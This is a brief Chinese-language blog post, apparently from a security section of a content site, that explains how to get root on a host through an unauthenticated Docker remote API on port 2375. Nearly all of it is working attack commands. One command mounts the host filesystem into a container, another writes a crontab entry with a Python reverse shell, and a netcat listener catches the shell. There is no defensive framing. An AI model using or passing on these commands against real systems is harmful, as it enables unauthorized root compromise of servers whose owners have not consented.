美文网首页信息安全
Docker api getshell

Docker api getshell

作者: xi4okv | 来源:发表于2017-08-29 12:15 被阅读15次
docker -H xxxx:2375 run -it -v /:/opt ubuntu bash

echo -e "* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"   IP   \",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /opt/etc/crontab

这个IP 填写容器内的IP 172.17.0.X
然后在容器里,执行 nc -vvlp 8088

等一会你就会发现Docker主机的root权限,已经弹到容器内了。

相关文章

网友评论

    本文标题:Docker api getshell

    本文链接:https://www.haomeiwen.com/subject/bcjodxtx.html